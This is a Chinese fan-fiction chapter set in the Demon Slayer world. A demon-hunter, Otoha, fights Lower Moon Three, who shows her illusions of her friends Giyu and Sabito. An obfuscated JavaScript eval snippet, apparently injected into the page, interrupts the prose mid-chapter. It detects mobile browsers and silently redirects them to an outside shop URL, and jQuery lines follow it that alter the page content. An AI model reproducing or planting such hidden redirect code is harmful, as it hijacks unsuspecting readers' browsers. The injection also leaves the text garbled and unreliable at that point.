音叶没给她把话说完的机会。
她的手已经搭上刀柄,拇指顶开刀镡,刀光一闪,下弦三的右手齐腕而断。
断手落在地上,手指还在微微抽搐,鲜血从断口涌出来,溅在音叶的袖口上。那只鬼低头看着自己的断手,迷惑地眨了眨眼,像还没反应过来发生了什么。
断口处开始重新生长:骨骼从断面延伸出来,肌肉和血管缠绕其上,白皙的皮肤覆盖上去。不过几秒钟的时间,手就已经变回了原样。
下弦三活动着新生的手指,看向音叶,眼角的泪痣随着她勾起的嘴角微微上翘,动作依然优雅,像一位贵族小姐在欣赏自己新做的指甲。
“真是心急呢,”她的声音里没有一丝恼怒,反倒带着一种让人火大的语气,“连句话都不让人说完。”
音叶的刀横在身前,刀尖对准她的咽喉:“你知道我为什么没直接砍你脖子吗?”
下弦三亲昵地贴在日轮刀上,刀刃压进皮肤,血珠顺着刀身滑落,而她像完全感觉不到疼一样。
“因为我刚才在想,”音叶的目光从她脸上移到地上那些尸体上,咬牙切齿,“你这种鬼,一刀杀了太便宜了。”
下弦三闻言,反而笑出了声。她提起和服下摆,向前走了一步,裙摆扫过地上的血渍,在地板上拖出一道蜿蜒的痕迹,姿态优雅得像在出席一场茶会。
“我从前遇到的队员可不会这样跟我说话,”她踮起脚尖,凑近音叶的耳边,温热的气息拂过她的耳廓,“还是说,你比他们厉害得多?”
音叶厌烦了这种对峙,她不想搭理这只恶鬼,只是调整呼吸的节奏,握紧日轮刀,随时准备出手。
面前的少女,或者说下弦三站在原地,歪着头打量音叶,目光从她棕褐色的发梢一路往下扫,落在她被汗水微微浸湿的衣领上。
“说起来,”她忽然开口,语气悠闲得像在闲聊,“你这个年纪的女孩子,在我们那个年代,早就该嫁人了。”
音叶握刀的手倏然收紧,指腹磨过刀柄上的纹路,传来细微的刺痛。她的目光冷了下来,刀尖微微下压,几乎要触到和服少女的肌肤。
“有心上人了吗?”她继续问,声音里带着一种长辈关心晚辈的意味,和她脸上沾着的血迹形成诡异的对比,“像你这样的女孩子,应该有不少追求者吧?”
音叶的刀斩了出去,刀刃带着凌厉的风声,切入下弦三的肩颈处,鲜血喷溅而出,溅在她的脸颊上,温热的触感顺着下颌线滑落。
下弦三任由刀锋在她肩上留下一道深可见骨的伤口,甚至还有空闲抬手,轻轻整理了一下有些散乱的鬓发。
“看来是被我说中了。”不过一句话的工夫,伤口愈合的瞬间,她甚至还抬手擦了擦嘴角的血渍,“让我猜猜……是我在你记忆里看到的那两个男孩中的一个?”
音叶的刀不间断地斩来,带着几分泄愤般的急躁。
下弦三侧身避开,和服下摆在半空中展开,像一只翩然翻飞的蝴蝶。动作依然从容,甚至带着几分悠闲。
“那个不爱说话的孩子?”她一边闪避一边说,声音里带着笑意,却让人不寒而栗,“看起来冷冰冰的,其实心思比谁都细。”
音叶的刀从她耳边擦过,削断了几根发丝。
“还是那个脸上有疤的?”下弦三继续说,脚步轻巧地退开几步,“责任感强得能把人压垮,这种人……”
“闭嘴!”音叶大声呵斥道。
下弦三停下脚步,看着音叶,眼睛里闪烁着某种近乎天真的光芒。
“生气了?”她问,“是因为我说中了,还是因为我猜错了?”
音叶深吸一口气,空气里弥漫着血腥味和夏天特有的闷热,黏稠得像是要把人裹起来。她的心情确实不好——谁在任务途中撞上十二鬼月,心情都不会多么愉悦的。
“我没功夫听你说这些弯弯绕绕的东西,”音叶把刀尖重新对准下弦三的咽喉,“你应该珍惜自己最后的时刻。”
下弦三听完,那张沾满血迹的脸上浮现出一种近乎愉悦的表情,眼角的泪痣随着她弯起的眼睛格外醒目。她提起和服袖子,轻轻掩住嘴角,动作优雅得像一位真正的贵族小姐。
“最后的时刻?”她重复了一遍,像听到了什么有趣的笑话,“你觉得自己能杀我?”
“为什么不能?”
音叶的话音落下,身形瞬间欺身而上。日轮刀带着破风的锐响,朝着下弦三的脖颈斩去。
下弦三向前走来,她的和服下摆在地板上拖出一道由血液组成的痕迹。那痕迹蜿蜒曲折,像是一条暗红色的蛇,缠绕着桌脚,最终消失在咖啡店的角落。
“你知道吗,”她的声音轻柔,“活在这世上的每一个人都很虚伪。”
音叶不想再听她讲这些废话,她调动呼吸法,一刀挥过去。
下弦三侧身避开,刀锋贴着她的衣襟划过,削断了一根系带。
“那些死去的人,”她继续说,手指指向地上的尸体,“你看看他们的脸。”
音叶的目光从她身上移开,落在最近的尸体上。那是一个年轻的应侍生,脸朝天花板,眼睛半睁着,表情凝固在死亡的瞬间,充斥着深深的疲倦。
“他,”下弦三用脚尖踢了踢那具尸体,“每天都很忙,老板给的工钱也不多,他还要在客人面前笑着端咖啡、送蛋糕。”
她的目光一一扫过每一具尸体,他们临终前脸上的表情像在诉说着生前的状态。音叶听到下弦三用一种玩味的语气讲着每个人的身份。
“你觉得我在编故事?”下弦三看着她,眼睛里是一种近乎残忍的坦诚,“这些都是我在吃他们的时候看到的。”
她摊开双手,新生的手指白皙修长。
“每一个活着的生命都是虚伪的,”她说,“只有死的时候,那些伪装才会掉下来。”
“你说完了吗?”音叶问。
下弦三面色微变,似乎不满意她的态度。
“说完了就上路吧。”
下弦三站在原地,看着音叶的刀劈下来,嘴角还挂着那个优雅的笑容。就在刀锋即将触及脖颈的瞬间,她的身形忽然模糊了。
音叶的刀斩空了。
和服少女出现在几步开外,姿态依然从容。但她的呼吸已经没有刚才那么平稳了,额头上渗出细密的汗珠顺着白皙的脸颊滑落,砸在和服上晕开一小片湿痕。
那个优雅的笑容还挂在脸上,却已经十分勉强,分明是已经到了极限,却依然还在强撑着。
“真危险呢……”
“差点就被你砍到了。”
音叶没给她喘息的机会,刀身一转,再次欺身而上。
下弦三迎上来,手中不知什么时候多了一根发簪——从自己头上拔下来的,细细的银簪在她指尖转动,像一柄微缩的短刀。她用这根簪子格挡音叶的刀,金属碰撞的声音清脆刺耳。
“你不想知道吗?”下弦三一边格挡一边说,呼吸声已经粗重起来,“那两个男孩心里真正想的是什么?”
音叶的刀压下来,下弦三被迫后退一步。
“你不想知道那个不爱说话的男孩,每次看着你的时候在想什么?”她继续说,银簪在刀身上划出一串火花,“你不想知道那个脸上有疤的男孩,为什么总不让你看到他真正的样子?”
音叶的刀突然加力,下弦三手中的银簪脱手飞出。
她失去了武器,脸上闪过一丝转瞬即逝的慌乱。但她很快就反应过来,退后两步和音叶拉开一点距离,手指在身前轻轻一划。
“让我给你看看。”
眼前的景象扭曲起来。
这一次已经和莲月一战时不同了,音叶知道这是幻术,也做好了准备。但当她看清那些影像时,握刀的手还是不受控制地颤了一下。
幻象之中出现的是义勇。
他站在一条陌生的街道上,周围是来来往往的行人,却没有一个人留意到到他的存在。他穿着那身熟悉的队服,黑发绑在脑后,发质依然是那样有些粗糙。那张总是平静的脸上,此刻却带着一种音叶从未见过的神情。
不屑、轻蔑,以及仿佛在俯视蝼蚁的眼神。
他面前跪着一个老人,额头贴着地面,身体剧烈颤抖。而义勇只是站在那里,低头看着他,那双深蓝色的眼睛里没有一丝温度。
“求求你,”老人的声音沙哑颤抖,“求求你救救我的孙女,她被鬼抓走了,我知道你是鬼杀队的,你一定可以……”
“凭什么?”义勇的声音传来,带着彻骨的冷漠。
“凭什么我要救你的孙女?”
老人猛地抬头,布满皱纹的脸上淌满泪水,双眼圆睁,写满了不敢置信与绝望。
义勇没有再多看一眼,竟然真的转身就要走,决绝得仿佛从未听见那声哀求。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375057|200056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“义勇……”
音叶听到自己的声音,沙哑干涩,完全不像平日的自己。
“那是假的。”她死死攥紧刀柄,指节泛白,在心底反复告诫自己,“那是鬼捏造的幻象,不是真的。”
但这个幻象太过真实,义勇的每一个表情、动作甚至于最细微的神态都像极了真正的他,但这绝对不是他会做出来的事。
画面骤然一转,锖兔的身影落入音叶的视野。
他站在一座道场里,十几名年轻剑士恭谨地跪坐于榻榻米上,个个垂首屏息,连大气都不敢出。锖兔背手立在众人前方,银紫色的眼眸扫过全场,目光锐利如刀。
“就凭你们,”他语气里是毫不掩饰的嘲讽,“也配学水之呼吸?”
一名年轻剑士壮着胆子抬头,刚想开口辩解,锖兔的视线骤然锁定在他身上。那人瞬间像被扼住了喉咙,张着嘴却一个字也吐不出来,脸色惨白。
“师父收你们做弟子,是因为他心软,”锖兔继续说,一步步走向那个抬头的剑士,“但我从来不心软,你们这种废物,连最基本的呼吸都掌握不好,有什么脸面坐在这里?”
他在那个剑士面前停下,日轮刀架在他脖子上,居高临下地看着他。那道从耳边蔓延到嘴角的疤显得格外狰狞。
“滚出去。”
那个剑士浑身一颤,站起来踉跄着跑了出去。其他人大气都不敢出,头垂得更低了。
锖兔的目光扫过剩下的人,嘴角扯出一个冷笑:“你们也一样。一个月后如果还达不到我的要求,我会亲手杀了你们。”
“假的……”音叶紧紧闭上眼,牙关咬得发疼,一字一顿地低语,“全都是假的。”
“当然是假的。”
下弦三的声音从四面八方传来,轻柔得像在哄一个不听话的孩子。
“但假的东西,未必就不是真的。”
音叶睁开眼睛,幻象消散,她又回到了那间血腥的咖啡店里。下弦三站在她面前,保持着刚才按住她手腕的姿势,脸上的笑容温柔又天真。
“你认识他们,对不对?”下弦三轻声开口,语气带着笃定,“那两个少年,我在你的记忆里,清清楚楚看到了他们。”
“看到了吗?”她说,“这才是他们真正的样子,不是什么可靠的同伴,只是两个连真实内心都不敢表达出来的……”
“够了。”
音叶额头青筋暴起,因极致的愤怒与紧绷而突突直跳,握住日轮刀的手气得不住发抖,刀身都随之轻颤。
“你觉得,”音叶一字一句地说,“你给我看这些,我就会相信你?”
她不等下弦三开口,厉声打断:“你给我看的东西,都是你自己关于他们的臆想。连面都没见过的人,你觉得我会相信你的鬼话?”
下弦三的笑容在脸上凝固了一瞬,眼底闪过一丝错愕。
“义勇和锖兔,”音叶说,刀尖对准她,“不是你说的那样。”
“你怎么知道?”下弦三|反问,“你怎么知道他们心里真正的想法?你怎么知道他们没有那些阴暗的、见不得人的……”
“因为他们是我的朋友。”音叶的刀斩了出去,“我不允许你这样侮辱我的朋友……!”
“霖之呼吸——四之型·雨燕回。”
幻象像玻璃一样碎裂,虚假的义勇和锖兔在刀光中化为碎片。
下弦三向后倒飞出去,撞在身后的墙壁上。左肩到右腹横着一道深深的伤口,鲜血涌出来,把她的和服染成暗红色。
她靠在墙上,低头看着自己的伤口,脸上的笑容终于维持不住了。那张脸上不再有从容和优雅,只剩下一种被看穿的恼羞成怒。
“你……”她喘息着说,声音里的从容已经完全消失,取而代之的是一种沙哑的、带着恨意的声音,“你真的以为你了解他们?”
音叶没有回应,只是沉默地握紧日轮刀,向前走了一步。
下弦三的伤口愈合得越来越慢,她能感觉到自己的极限正在逼近,而面前这个鬼杀队的剑士比她想象的强太多……她已经没有多少体力继续维持这场战斗了。
下弦三抬起手,手指在身前画出复杂的印记,鲜血从指尖渗出来,在空中凝成一个诡异的图案。
“那就让你看看,”她说,声音变得低沉,“你自己最不为人知不敢面对的一面吧……”
血鬼术再次发动。